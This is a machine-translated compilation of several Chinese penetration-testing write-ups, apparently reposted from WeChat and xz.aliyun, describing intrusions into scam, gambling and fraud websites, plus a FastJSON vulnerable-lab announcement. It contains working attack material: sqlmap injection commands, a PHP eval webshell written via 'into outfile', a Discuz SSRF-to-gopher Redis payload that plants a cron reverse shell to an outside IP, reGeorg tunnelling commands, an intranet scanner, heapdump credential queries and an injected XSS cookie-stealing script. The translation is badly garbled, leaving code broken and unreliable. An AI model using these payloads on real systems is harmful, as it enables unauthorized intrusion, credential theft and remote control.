同じパーソナルセンターと同じ場所を使用せずに、バックグラウンドログインボックスに切り替えます。何も言わない場合は、Burpを直接使用してログインポストパッケージをキャッチできます。ローカルTXTファイルに保存し、SQLMAPで実行します。予期せぬ利益があるかもしれません。 Alibaba Cloudのサーバーがローカルで100%傍受されているため、実行するのと同じAlibaba Cloudサーバーを使用することを選択しました。ユーザー名、パスワード、およびremenbaerは注入されていません。

图片 图片

大丈夫、パッケージを手に取り、応答するデータを確認するためにパッケージを送信してください。アカウントのコンテンツが値タグに直接出力されていることがわかります。

图片

XSSペイロードを構築して、閉じてプラグインしてください! 」ScriptAlert(/xss/)/Scriptは、反射XSSを再除外します。

图片

图片

0x03 getShell

掘られた2つの抜け穴は役に立たず、アイデアは一時的に遮断されました。戻って、キャッチされたデータパケットを分析します。応答パケットにあまり注意を払っていません。私は、rememberme=deletemeという言葉は、shiroの敏deserializationの脆弱性という言葉であることを発見しました。

图片

Expに移動して、こちらのソースコードを確認し、検出についてWebサイトの静的ファイルを入力してください。

图片

コマンド実行ボックスは、脆弱性が存在するという入力可能な証拠であり、その逆の場合は入力できないことがわかります。さらに、5663.JS検証ファイルは /CSSレベルのディレクトリで生成され、アクセステストはファイルの書き込みに成功します。

图片 图片

ファイルは正常に記述され、シェルはIce Scorpion接続に書き込まれ、現在の権限を表示するためにWhaamiを実行します。 Linux環境は、権限を上げる問題を節約するために、最高の権限を直接ルートします。

图片

許可が利用可能であり、サーバーは公開キーに22のポートを開き、パスワードなしで直接ログインします。ただし、他のパーティがAlibaba Cloudのサーバーがリモートロケーションでログインしていることを考えると、ノイズが大きすぎるため、ソリューションは実装されていないというテキストメッセージのリマインダーがあります。私たちは有用な情報を掘り下げ続けました。長い間検索した後、データベース構成ファイルを見つけました。データベース接続のアドレスは172.xx.xx.xxです(マスターは非常に熟練しており、イントラネットアドレスもコードに与えられて鎮痛を防ぎます)。イントラネットのIPステーションデータベースであることを確認できます。プロキシに転送して接続する方法を見つけました。

图片

Ice Scorpionにソックスエージェントがいて、Proxifierと協力して、Navicatプレミアムデータプログラム管理をイントラネットデータベースにトンネルエージェントに追加します。プロキシファイアが構成された後、プログラムがConnectに追加されます。ただし、繰り返し試験と繰り返し接続の後、データは直接異常になり、それらのほとんどは傍受されます。

图片

イントラネットプロキシで多くのトリックを踏んでいます。要するに、私はまだ十分に経験していません。また、adminer.phpを使用するように指示を与えたマスターもいます(ここでは@Unciaのボス)。管理者は本当に良い、軽量で、便利です。 Webディレクトリをアップロードするだけです。しかし、環境では、Java環境はJSPスクリプトのみをサポートし、管理者にはPHPスクリプトのみがあります。

图片

0x04イントラネットエージェント

admenterは氷のサソリをサポートせず、プロキシできないため、プロキシトンネルを設定し、ここで多くの落とし穴に足を踏み入れて、トラフィックや切断なしでReduhとTunnaを使用しようとします。姿勢が間違っているのか、現在の環境によって制限されているのかはわかりません。最後に、GitHubでRegeorgアーティファクトを見つけました。

Regeorg

主にイントラネットサーバーのポートを使用してHTTP/HTTPSを渡すReduhのアップグレードバージョンと言えます

トンネルはローカルマシンに前進し、ターゲットサーバーのループを形成して、イントラネットまたはポートポリシーでターゲットサーバーの内部オープンポートに接続します。ウェブシェルを使用して作成します

Socksエージェントは、現在の環境がJavaであるため、イントラネットの浸透を実行します。JSP転送ファイルをWebサイトディレクトリにアップロードします。

スクリプトをアップロードしてスクリプトにアクセスした後、Georgが「すべて大丈夫だ」と言っていることを示しています。プロキシは成功しています。

图片

次に、python2 regeorgsocksproxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jspを実行します。Georgは、コマンドラインインターフェイスで「すべては問題ない」と表示されます。

图片

Proxifierを開き、基本的にローカル127.0.0.1の9999ポートを構成し、Proxyルールを設定してNAVICATプログラムを追加します。他のアクションについては、直接オフ状態を選択しますが、NAVICATトラフィックが通過できるようにします。

图片

構成が完了したら、Navicatを右クリックしてProxifierローカルプロキシモードで開きます。

图片

リンクが安定しており、Pythonウィンドウにはトラフィック送信があることがわかります(プロキシプロセス中にウィンドウを閉じないでください)。

图片

0x05真の詐欺

また、データベースを接続し、メンバーシップテーブルのアカウントを見て、メンバーシップテーブルの名前フィールドをフィルタリングして名前を見つけました。案の定、そこにデータが横たわっていた時間は、データがだまされていた時間と一致します。

图片

それを証明する方法は?とても簡単です。カレーのユーザーの最初のバッチは2019年5月からであり、1年先です。これは、19年のアカウントでアカウントにログインした詐欺であり、キャッシュバックの記録を見ることができることは明らかです。私は、権威の抜け穴を無効にする以前のレベルのレベルに基づいて、ラッキープレーヤーをランダムに彼のアカウントにログインします。

图片

これが過ぎてから1年が経ちましたが、キャッシュバックが初めてです。過去数ヶ月で、さまざまな理由であなたをだますのは消費者です。要するに、常に苦しむのは消費者です。

图片

0x06最後に書き込み

私がこの記事を書いた理由については、私も被害者であるため、このように分析して、誰もがこの局をより直感的に理解して、より多くの人々がだまされるようにしたいと思います。あなたがそれを処理するために行くとき、彼らはこれがモバイルによって承認された活動であることをあなたに伝えます(私は前に私に言った)。しかし、このようにして、モバイルとは何の関係もないことがわかります。それは彼らが独立して構築した単なるプラットフォームであり、内部のバランスはただの愚か者です。あなたを安心させるための番号を示すプラットフォームがあります。最初の月に到着した数百ドルについては、彼らはあなたのセットの数千から数百人で手動であなたを充電するだけです。

それについて話さないでください。翌年、私は汚れを食べてhuabeiを返さなければなりません。マーチャントがシステムにログインすると、おそらくもっとトリックがありますが、浸透テストがポイントするまで、私の目的はこれが詐欺かどうかを証明することです。それはしっかりしたものなので、私たちはより深く行く必要はありません。

私たちが行う安全な対立は、火薬のない戦争のようなものです。勝利または負けに加えて、戦争の結果は正義と不正の違いもあります。唯一の違いは、私たちは常に正義の観点から立ち、それに害を及ぼさずにその抜け穴の原則を探求しなければならないことです。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247486245IDX=1SN=ebfcf540266643c0d618e5cd47396474chk SM=CE67A1BCF91028AA09435781E951926067DCF41532DACF9F6D3B522CA2DF1BE8A3C8551C1672CENE=21#WECHAT_REDIRECT

FastJSONフルバージョンDockerの脆弱性環境(バージョン1.2.47/1.2.68/1.2.80などをカバー)、主にJNDIインジェクション、WAFバイパス、ファイルの読み取りと書き込み、脱3、チェーン検出バイパス、およびネットワーク外の利用を含みます。シナリオをブラックボックステストに設定し、Black Boxの観点からFastJsonの深い利用のプロセス全体をカバーします。一部の環境は、JARパッケージで逆コンパイルおよび分析する必要があります。

Docker環境

Dockerは-Dを構成します

Docker Pull環境が遅い場合は、国内のミラーリングを使用してみてください

https://www.runoob.com/docker/docker-mirror-acceleration.html

環境が開始されたら、対応するIPポート80にアクセスします。

1049983-20240102232717449-1783234989.jpg

Fastjsonのいくつかの一般的な脆弱性エクスプロイトの概要。これは食品で使用できます:FastJSONフルバージョンの検出と利用-POC

使用後に環境を破壊してください。そうしないと、競合する可能性があります:Dockerが落ち着く

撮影範囲の順序を整理する:(使用率の特性に応じて3つのカテゴリに分割)

FASTJSON 1.2.47

1247-jndi

1247-jndi-waf

1247-WAF-C3P0

1245-JDK8U342

FASTJSON 1.2.68

1268-readfile

1268-jkd11-writefile

1268-JDK8-WRITEFILE

1268-writefile-jsp

1268-writefile-no-network

1268-JDBC

1268別の記事を使用してファイルを書き込みます。これは、fastjson1268の書き込みファイルRCE研究と併用できます

FASTJSON 1.2.80

1280-groovy

1283-Serialize

各マシンのルートディレクトリに隠されたフラグファイルがあります。それを取得してみてください!

一部の環境はまだ与えられておらず、しばらくの間それらをリリースすることを計画しています。また、WPと提案を提出することも歓迎します。

ドック環境:https://github.com/lemono0/fastjsonparty

0x00情報収集

友人が私にウェブサイトをくれました。これは比較的大きな紀元前と見なされます。私はメインのウェブサイトを見て、入り口がなかったので、彼のプロモーションプラットフォームの1つに変更しました。

图片

次に、最初にディレクトリを大まかにスキャンして、いくつかの便利なものを見ることを望んでいます。現時点では、たとえば、Webサイトのソースコードがパッケージ化されているかどうかなど、重要なファイルhttps://scan.top15.cn/web/infoleakをすばやく表示するためのインターフェイスをお勧めします。スキャンしてからスキャン結果を表示しなかったことは明らかです。

图片

config.inc.phpは、経験によれば、データベースの構成ファイルである必要がありますが、サイズは0bです。暫定的にアクセスします。予想どおり、アップロードアクセスはありません。これは403です。ただし、経験に基づいて、再びスキャンします。たぶんそれはFCKエディターです。残念ながら、私は何もスキャンしませんでした。 /index.php/login/、サイズはわずか2kbで、背景ではなく、少し残念です。ポートには1つのWebアセットのみがあるため、Webサイト機能を確認することしかできません。それから私はクエリをクリックして、ここで注入を見つけたいと思った。

0x01バックエンドインジェクション

图片

案の定、注入があり、残りはバックエンドを探すことです。

图片

現在のデータベースを表示します(extractValue(1、concat(0x7e、(select database())、0x7e)) - ) -

图片

ここでは、ピット、アカウント=1 ')と(抽出バリュー(1、concat(0x7e、(select database())、0x7e)))))をステップすることを忘れないでください。

TMはデータを生成することはありません。クソフィルターがあると思いました。

そして、一つずつファジングします。

コメントが閉じられるかどうかを考えた後、コメントが追加されます ')。案の定、データは閉じた後にリリースされます。

その後、SQLMapを使用してデータを実行しましたが、TMが使い果たされないとは思っていませんでした。

自分でSQLMAPステートメントを再構築することによってのみ、python2 sqlmap.py -r 1.txt ---prefix '') ') - suffix' - ( '' - level 3 - tamper=space2plus - skip-urlencodeが最終的に使い果たされました。

後でペイロードを見ました。私が走るたびに、スペースは20%にコンパイルされます。 URLがエンコードされた後、ペイロードが有効になりないため、Skip-Urlencodeパラメーターを使用しました。

0x02注入点

驚きが再び来ました。私はPRIVを見ましたが、非常に多くのMySQL注射がついに比較的高い許可を得たことは事実でした。

图片

アカウントとパスワードを直接読んでいませんでした。絶対パスを除いてエラーを報告したばかりです。これではありませんか?ペイロードをチェックしたとき、HWSを見つけましたが、兄弟たちは簡単ではないと感じました。

图片

案の定、あなたがそれを書くことができないならば、あなたがそれを追加するならば、あなたは最終的にそれを書くことができません-hex。

それは大丈夫です、そして-sql-shell。

積み重ねて書いてください、私はそれを書くことができない可能性が高いことを知っていますが、私はまだそれを試してみる必要があります。

TMの浸透は形而上学です。

图片

私はprivをチェックしました、それはnullではありませんでした、そして私に少し希望を与えました。それを書いて、最初にTXTを書いて見ることができます。

Outfileに1を選択'd:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

それから私はそれを読むためにウェブサイトに行きました、そしてそれを書くことはありませんでした、それは本当に困難でした。

すべてが残っています - ファイルワイト、これはマップに固執しておらず、まだ削除されていません。

無力で、バックエンドアカウントのパスワードのみを確認できます。

图片

アカウントとパスワードを収集した後、私はバックエンドに行きましたが、残念ながら私はまだそれを見つけることができず、それはほとんど絶望でした。

このTMはあなたに届けられましたが、なぜ私はまだそれを手に入れることができないのですか? SQLMapの問題だと思います。私はもう一度上記の手順を実行しました。 SQLMapはあなたに嘘をつくかもしれませんが、HWSはそうしません。書くことができない場合は、できません。

それを忘れて、アイデアを変えましょう。ディレクトリが爆発したのではありませんか?

wolsoowpppps、私は戻ってそれをチェックします、予期しないことは何もありません403、wolsoowpppps/admin、wolsowpppps/login。

何もありません、dirsearchはスキャンされ、TMにはまだ何もありません。

0x03馬の執筆に失敗する

それはWeb/wolsoowppppsのパスではありませんか?パスに絶対に問題があるのでしょうか?私は訪問します

图片

また、これは403であり、これはスキャンされていないディレクトリであることを意味します。くそー、ここに何かがあるように感じます。

その結果、写真をスキャンして投稿を停止しましたが、まだ何もありませんでした。

ハハハハ。

それは喜びの無駄です。

しかし、私は常にこのwolsoowpppsディレクトリに何か問題があると感じています。私はそれを曖昧にし、それをウェブからファズにしてから、ウェブをスキャンしました。ああ、私の良さ、私は一時的です。

PHP訪問、マレーシア人。

これを手に入れるのは良いことではありませんか?

图片

その後、爆発し、最後に、アリのキーをアップロードして、それを取り下げます。

このマレーシアはとても馴染みがあります。

图片

しかし、HWSはまだ本当に強力です。

コマンドを実行することはできず、プラグインと.SOメソッドは見つかりませんでした。

图片

ここで兄弟ファンに感謝します。彼が言及した警備員の神は、主にaspで、氷のサソリ馬を送るだけです。

图片

それから私は多くの解決策を考えましたが、この許可を下すことはできません。 XZのボスは知っておくべきだと思います。状況を教えてください。

現在、ディスクDには表示および変更許可のみがあり、EXEは実行できません。つまり、MSシリーズは使用できません。

ポテト一族はそれを渡すことができません。

IISは数秒で落とすことはできません。

ルアンを殺すことは、ターコイズ、保護者、安全な犬です。

上向きのCSですが、DLLとMSHTAの実行は立ち往生しています。当面の間、パワーを増やす方法がわかりません。拡大し続けたいのですが、プロモーションのために力にほとんど接触していません。預言者が私のいとこにアイデアを与えることを願っています。

0x04バックエンドを取得

最後に、マレーシア人がどのようにアップロードされたかについて考えました。

他の当事者は注射から始めることもできます - XSSを1か所で見つけました(私も見つけましたが、10月にカスタマーサービスがオフラインであったため、サイトを変更したため、XSSは戦うことができませんでした) - バックエンドRCE(TP3.2.3 CACHE GETSHELL)がMalaysiaに行きました。

これはXSSの場所です

图片

これはバックエンドです

图片

このサイトには大まかな価格の比較がありますが、そのアイデアは非常にシンプルなので、もっと学ぶべきです。

元のリンクから転載:https://mp.weixin.qq.com/s/qndlnapnk_485uapilqxrq3https://xz.aliyun.com/t/8491

メインサイトを登録するときに、JSPとPHPの接尾辞が共存することがわかります。異なるルートが異なるミドルウェアを逆転させたため、脆弱性は見つかりません。

Image

フォーラムはディスクです! x3.2

Image

Discuz緊急治療室が見つかりました。

Image

admin.php 403、uc_server、および緊急治療室には、パスワードが弱い。

《渗透某盗版游戏网站》で、ディスクスのバックグラウンドにある脆弱性を紹介しましたが、フロントデスクの脆弱性についてはどうでしょうか。主に、任意のファイル削除、SSRF、およびUC_Serverブラストがあります。

まず、ファイルを削除します。

post /home.php?mod=spacecpac=profileop=base

birthprovince=./././info.php

Image

次に、ファイルを投稿してinfo.phpを削除します

format='https://x.com/home.php?mod=spacecpac=profileop=base'method=' post 'enctype=' multipart/form-data '入力タイプ=' name='birthprovince' id='file'/inputタイプ='text'name=' text=''/input '/inputip'/input 'prept' prept 'preper value='1'/input type='submit' value='submit' //Discuzがファイルを削除してインストールすることは困難です。

もう一度SSRFを見てみましょう。

/forum.php?mod=ajaxaction=downRemoteimgmessage=

これは、反響せず、時間遅延によってのみ判断することができるSSRFです。

1. HTTPを介してイントラネットを直接検出できます。 IPが生き残ると、短い遅延があり(ポートが開いているかどうかに関係なく)、IPが存在しない場合、長い遅延があります。

2。プロトコルは302ジャンプで変更でき、FTP、DICT、およびGOPHERをサポートできます。

第三に、ポートはFTPプロトコルを介して検出できます。ポートが開いている場合、長い遅延があり、ポートが閉じていると短い遅延があります。

最初に、HTTPプロトコルを介してVPSにアクセスして、フォーラムの実際のIPを取得します。

163.*。 *.35.bc.googleusercontent.com(35。*。*。163)

その後、ローカルレディスを盲目的に呼び出すようにしてください(ここではローカルポートを検出するために、それは不合理なので、私はそれを直接盲目的に呼びます)

GopherプロトコルがRedisをローカルで攻撃する場合、コマンド文字列の各行の長さを$で宣言する必要がないことがわかります。

最初に、クリアSSRF攻撃ペイロードを参照してください

/forum.php?mod=ajaxaction=downRemoteimgmessage=dbfileName root%0d%0aset 0 '\ n \ n */1 * * * * * * bash -i /dev/tcp/62.1.1.1/566701/n\n'%0d%0Asave%0D%0Aquit%0D%0Axx=1.png

次に、302.phpの間?データ=、URLをエンコードする必要があり、データ=xx=1.からすべての文字列が2回エンコードされ、BPでパッケージ化されます。

/forum.php?mod=ajaxaction=downremoteimgmessage=%36%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%33%25%36%33%25%36%33%25%36%336 30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%25%36%39%25%36%37 %25%32%30%25%36%25%36%31%25%37%32%30%30%36%32%25%32%30%25%36%32%66%25%37%36%31%25%37%32%25%32%32%66 %25%37%33%25%37%30%25%36%66%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%36%33%25%36%65%32%66%25%36%65%36% 25%32%35%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%25%36%25%36%25%36%39%25%36%37%25%32%30%2 5%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25 %36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25% 36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35 %63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%61%25%32%30%25%32%61%25%32%30 %25%32%61%25%32%61%25%32%30%25%32%61%25%32%61%25%30%30%25%32%61%25%32%30%25 %32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%332%30%25%32%30%25%32%30%25%36 %32%25%36%31%31%25%37%33%25%36%38%25%32%30%25%32%66%36%25%32%66%25%34%25%36%36%34% 25%36%35%25%36%32%66%25%33%31%25%32%66%25%33%31%25%32%66%25%32%65%31%32%65%31%32%6 5%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%33%33%30%25%33%65%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25% 32%36%25%33%30%25%33%65%25%36%36%25%33%30%25%33%30%25%36%34%32%35%25%33%30%25%33%30%33%33%30%25%36%31%31%31%31% 25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%31%25%37%37% 31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png [/img] formhash=017b5107

しかし、ペイロードは、Discuzが提供するXSSおよびSQLインジェクション保護によって傍受されたことがわかりました。

Image

したがって、ペイロードはVPSでのみ記述できます。

?php

$ ip=$ _ get ['ip'];

$ port=$ _ get ['port'];

$ scheme=$ _ get ['s'];

$ data='_ flushall%0d%0aconfigset dir/var/spool/cron/%0d%0aconfig set dbfilename root% /566701 \ n \ n '%0d%0asave%0d%0aquit%0d%0aquit%0d%0a';

Header( 'Location: $ scheme: //$ ip: $ port/$ data');

VPSのRedisを成功させることができる/forum.php?mod=ajaxaction=downremoteimgmessage=[img=1,1] http://62.1.1.1/302.php?s=gopher%26IP=62.1.1.1.1.1.1 %26ポート=637999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999」

Image

問題ない。ただし、実際の環境では使用率が失敗しました。その理由は不確実であり、Redisがない、Redis許可の不足、またはパスワードがあることが可能です。

イントラネットを検出するためにスクリプトを書き始めましたが、あまり希望がありませんでした。 Google Cloudであり、必ずしもイントラネットを持っているわけではありません。

すべてのイントラネットIPSのIP辞書が作成されています

f=open( 'ip.txt'、 'w')

f.write( '127.0.0.1')

f.write( 'localhost')

範囲のI(1,256):

ip='192.168。'+str(i)+'。1'

F.Write(IP)

範囲(16,32):のIの場合

IIインロン(1,256):の場合

ip='172。'+str(i)+'。'+str(ii)+'。1'

F.Write(IP)

範囲のI(1,256):

IIインロン(1,256):の場合

ip='10。 '+str(i)+'。 '+str(ii)+'。1 '

F.Write(IP)

f.close()

次に、時間遅延を使用してイントラネットIPセグメントを見つけます。ここでは、IPブロッキングの遅延は7秒以上であるため、複数のスレッドを使用して完了する必要があります。 IPのプロトコルがあるかどうかを検出しても問題ないため、Gopherを使用してRedisのペイロードを直接攻撃するだけです。

リクエストシムポートスレッディングDEF SSRF(i): url=をインポートします'https://x.com/forum.php?mod=ajaxaction=downRemoteimgmessage={'user-agent':'mozilla/5.0(Windows nt 6.1; win64; x64; rv336079.0)gecko/20100101 firefox/79.0'、 'Accept':itext/html、application/xhtml+xml 'Accept-Language':' zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2 '、' accept-encoding': 'gzip、deflate'、 'connection'、 'cookie={'PNUE_2132_SALTKEY':'VX3WOD3T'、 'PNUE_2132_AUTH':'8B46%2F9AD2X2XYFYESVQ aytdhs%2fvwrzigqlwce3iar6aiwux8ragrp%2bgrkmv39ylno2gaifhep01aghxapi0ocyxirnkx '} r=requests.get(url、cookie=cookie、headers=header、aople_redirects=false)r.elapsed.total_seconds()6: timeout=str(i)+'port3360'+str(r.elapsed.total_seconds())他の:タイムアウト=印刷str(i)+'port3360'+str(r.elapsed.total_seconds())fo=open( 'openip.txt'、 'a') threading.thread(target=ssrf、args=(i、)))name.append(th)th.start()for th inaname: th.join()folist=open( 'ip.txt'、 'r')list=[] flag=0 for i infolist.readlines(): i=i.Replace( '' ') list.append(i)flag=flag+1 else:スレッド(リスト)フラグ=0 list=[]オープンゲートウェイのみが見つかります172.30.2.1は、このゲートウェイでイントラネットIPを実行し、IP.TXTを置き換えます。

Image

その結果、1日走った後、私は2つのイントラネットIPS、172.30.2.1と172.30.2.2のみを使い果たしました。確率は、172.30.2.2それ自体が、172.30.2.1がクラウドサーバーの仮想ゲートウェイであることです。

最後に、FTPプロトコルを使用してポートを実行し、スクリプトを自分で変更するだけです。

Image

それらのほとんどは誤ったアラームであり、実際には2つのポート80と443のみを開くため、他のイントラネットIPが後で見つからない限り、SSRFは予想されません。

最後のUC_Serverブラストは、XFFヘッダーを変更してグラフィック検証コードを修正することであり、使用が失敗します。詳細については、https://www.freebuf.com/articles/web/197546.htmlを参照してください

フォーラムは終わりました。カスタマーサービスシステムの何が問題なのか見てみましょう。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288888884f7d0227f

IDパラメーターが渡され、ディレクトリを交差できません。ファイルのアップロードを使用できないため、ディレクトリスキャンを開始します。

Image

管理者ログインインターフェイスにはスライダーの検証がありますが、フロントエンドからの詐欺であり、バックエンドでは役に立たないため、爆発しようとすることは実りがありません。

表示/アクチュエータを表示すると、Spring Bootであり、ターゲット辞書を使用して爆破します。

/swagger-ui.htmlはempty、 /envジャンプadmin、 /heapdump 403です。

しかし、私は/heapdump.jsonからそれを試してみました

Image

1Gメモリファイルを解凍し、メモリアランライザーを使用して開き、OQLをクエリします。

/envとの協力はないため、構成情報を盲目的に確認することができます。ここに私が理解したいくつかのヒントがあります。

select* from org.springframework.web.context.support.standardservletenvironment Check構成から、保持されたヒープ(サイズ)のソートに注意してください。

Image

[Java.lang.Stringから*から*を選択します。この検索方法は、関連するクラスを簡単に見つけることができませんが、ログインレコードなどをすばやく見つけることができます。パスワードをhttp://に置き換えると、いくつかのURLを見つけることができます。

Image

java.util.hashtable $ entry x from java.util.hashtable $ entry x Where(toString(x.key).contains( 'username'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'password'))select* from java.util.hashtable $ x (toString(x.key).contains( 'url'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'url'))データベース関連情報をすばやく確認し、MySQLアドレスアドレスアカウントパスワードを見つけました。ただし、残念ながら、AmazonのデータベースにはデフォルトでIPホワイトリストがあり、リモートでログインできません。

Image

select*from java.lang.string sは、 '。*session。*'のようなtoString(s)がログインしていることを発見し、交換後に背景にログインします。

Image

背景は、リアルタイムの会話にWSSSプロトコルを使用しており、アバターとカスタマーサービスの返信に使用率はありません。有毒な犬のいくつかの嘆きだけが見つかりました。

Image

ブラックボックステストは実りがありませんでした。 Heapdumpで注目のクラス名を検索してから、Githubで検索しました。ソースコードのコピーを初期バージョンである可能性があり、ターゲットは改訂版でしたが、ソースコードはそれほど完全ではありませんでした。

Image

不完全なコードを監査し、任意のファイルの読み取りとSSRFを見つけます。

Image

Image

Image

いくつかのソースコードを使用すると、構成ファイルの場所を知っていて、構成ファイルを読み取ります

Image

もちろん、以前にデータベース構成を取得します

0x00問題の原点

图片

图片

图片

物語を理解した後、私の経験の後、これは豚の殺害事件であるべきです

詐欺師は、何らかの手段を使用して、犠牲者にお金を稼ぎ、充電を誘発し、豚をギャンブルに殺すことができることを納得させる

0x01ペノシスプロセス - 約20分で削除されました

浸透プロセスはシンプルで退屈です:

IPとポートを見た後、私はクラウドWAFがないはずだと判断したので、ディレクトリを直接スキャンし始めました

数分後、http://xxxx.com.cn/u.phpをスキャンしました。下の図に示すように、それはupupwの統合環境であることが判明しました

图片

图片

アイデア、PHPMYADMINを爆発させる、またはupUPWのデフォルトのデータベースパスワードを見つけるには、最初に試してみてください

图片

システムによって提供されたパスワードで正常にログインしましたが、デフォルトは次のとおりです。DRSXT5ZJ6OI55LPQはPHPMYADMINで正常にログインしました

图片

次に、GetShellを試してみてください。 upupwプローブがあるので、phpinfoとウェブサイトへの絶対的なパスを直接表示しました。 UpupWプローブのため、私は定期的にシェルを直接書き込もうとしました。

絶対パス、データベースルートアクセス許可、およびデータベースの書き込みアクセス許可を知る必要があります。具体的なステートメント: '?php eval(@$ _ post [' xx ']);'を選択しますOutfile 'd: \\ wap \\ member_bak.php'注:windowsの下では、二重のバックスラッシュが必要です。そうしないと、逃げて、キッチンナイフ/アリの剣やその他のリンクを使用します。当時スクリーンショットがなかったため、ウェブサイトを開くことができないようになるため、シェルを取得した後、以下は直接ステータスをリリースします。

图片

侵入は終了しました。私は権限を見ました。それはシステムの権限でした。しかし、私たちの目標は、詐欺師のIP情報と位置情報を見つけることでした。そして、次のステップは

0x02詐欺師のポジショニングポート

シェルを取得する方がはるかに簡単です。背景にログインされているPHPファイルを見つけて、XSSコードを挿入してください。

图片

しばらく検索した後、バックグラウンドログインが別のWebサイトディレクトリにあることがわかりました。

echo'scriptsrc=https://xx.xx/xfxx/script ';詐欺師がログインするのを待っています

图片

私は実際に携帯電話、666でログインしています

クッキーをバックグラウンドにログインするために交換しますが、役に立たないことがわかりましたが、ほんの数字でした。

图片

IPIP.NETに移動して、IPアドレス情報を確認します。偶然ではありません、私は確かに再び海外にいました。悲しいかな.

图片

0x03ファンに結果を知らせます

プロセス中に、私は被害者とWeChatチャットの記録を直接投稿しました。

图片

图片

图片

图片

图片

图片 图片

图片

0x04そのような詐欺を防ぐ方法

1.オンラインで友人を作るときは、詐欺防止の認識を改善し、良好な社会的メンタリティを維持し、特に金融取引に関しては個人のプライバシー情報の保護に注意を払う必要があります。複数のチャネルを使用して、相手の真のアイデンティティを必ず確認してください。

2.インターネットでの財務を投資して管理することを伴い、高いリターンを持っている人は誰でも詐欺と見なされます。

3.詐欺師は、友人のサークルの投資収益性に関する情報を常に共有して、被害者を引き付けて相談するイニシアチブを取得します。

4.被害者にプラットフォームの登録を誘導し、資金を投資します。被害者が利益を見て現金を引き出すことを望んだとき、プラットフォームは預金の要求、必要に応じて通知の失敗、アカウントの凍結、税金など、被害者の銀行カード番号の理由でお金を誘い、詐欺を犯し続けました。

5.投資と財務管理の正しい見解を維持し、リスクのないがリターンの投資方法を盲目的に信じていないので、空から落ちるパイはありません。

元のリンクから転載:https://mp.weixin.qq.com/s/7o4xv8mkbx3wct3zxbcmng

i。序文

最近、特定のQipai製品で構築されたWebサイトにはSQLインジェクションがあり、誰かがそれを送ったばかりだと聞きました。xctxkrcxje42283.png

慣習的なルーチンの侵入、シャトル情報収集- 脆弱性の検出/利用- 特権の引き上げ/承認のメンテナンス - クリーントレース

2。情報収集

kszgqsfuj5j2284.pngブラウザはホームページの予備的な発見システムにアクセスします:Windows Middleware IIS7.5言語:ASPX

ポートスキャンNMAP -SV -T4 -P- 11x.xx.xx.xx.xx 5zy4ekewruu2285.pngには多くのオープンポートがあります。その中には、いくつかのWebサービスがあります:80(現在のホームページ)、81、82、88、4700181:これはこのQipaiサイトのバックエンドです。 82:バックエンドでもあります。どんなシステムなのかわかりません。確認コード88/47001があります:アクセスに失敗しました

1433:データベースMSSQL

また、139と445を開きましたが、フィルタリングされました。ファイアウォールがあるかどうかはわかりませんので、後で見ます。

dirsearchを使用して、敏感なディレクトリを最初にスキャンします。以前に収集されたウェブサイト言語はASPX、プラス-E指定言語です

python dirsearch.py -u http://11x.xx.xxx.xx-e aspx cccws02apbk2287.png再び7kbscanを使用します。結局のところ、ここで収集された辞書は中国人によって一般的に使用されています

5enudtjvnlv2289.png/m/はユーザー登録ページです。

amnkabgudz42290.png/test.htmlは、WeChatを調整するための入り口です。役に立たない。被害者が携帯電話でチャットするように導くかもしれません。

efkkbz110d12292.png北京の特定のオペレーターのIPサーバーを確認します。国内のサーバーにWebサイトを構築することは非常に大胆です。

jtva1t55e0d2293.png情報並べ替えymptqk21pcz2295.png

おそらく自分で構築された小さなサイトです。時間を無駄にしないように、新しいものを拡張して収集することはありません。

iii。脆弱性検出

以前に見つかった81ポートに焦点を当て、ウェブサイトのバックエンド管理ページです

shbv1f0njqr2296.png検証コードなし、ユーザー名/パスワード用に管理者/管理者を書くだけで、パッケージをつかみます

5rhocro4vhn2297.pngユーザー名には見積もりがあり、エラーを返すように直接リクエストを送信しました。予期しないことが起こっていない場合は、エラーインジェクションまたはブラインドノートが必要です。

vk51u41gbap2298.pngこのデータパケットをローカルQipai.txtに保存するための2つのグループを分離し、SQLMAPを使用してスキャンします。MSSQLデータベースであり、-DBMSパラメーターがデータベースタイプを指定して時間を節約することはすでに知られています。

python sqlmap.py -r qipai.txt - dbms 'microsoft sql server' - dbs別の方法で、パッケージを侵入者モジュールに送信してパスワードを爆発させます。ブラウザにユーザー名を何気なく入力しようとしましたが、プロンプト「ユーザー名は存在しません」。管理者を入力すると、「ユーザー名またはパスワードが間違っている」というプロンプトが存在することを示し、パスワードを破裂させただけです。

xwwhislhjjo2299.pngパスワードは888999、弱いパスワード、永遠の神です!

バックグラウンドに正常にログインgayxm4aahp02300.png

登録ユーザーは69人しかなく、残りはすべてロボットです。これらの69人のユーザーは143万人に急行しましたか? Qipaiを演奏するすべての人はとても金持ちですか?私は最初の充電のために6元を請求することに耐えられないことをとてもうれしく思います

ykvftk1nhiq2301.pngギャンブルに参加できない、この男は1日で2800を失いました

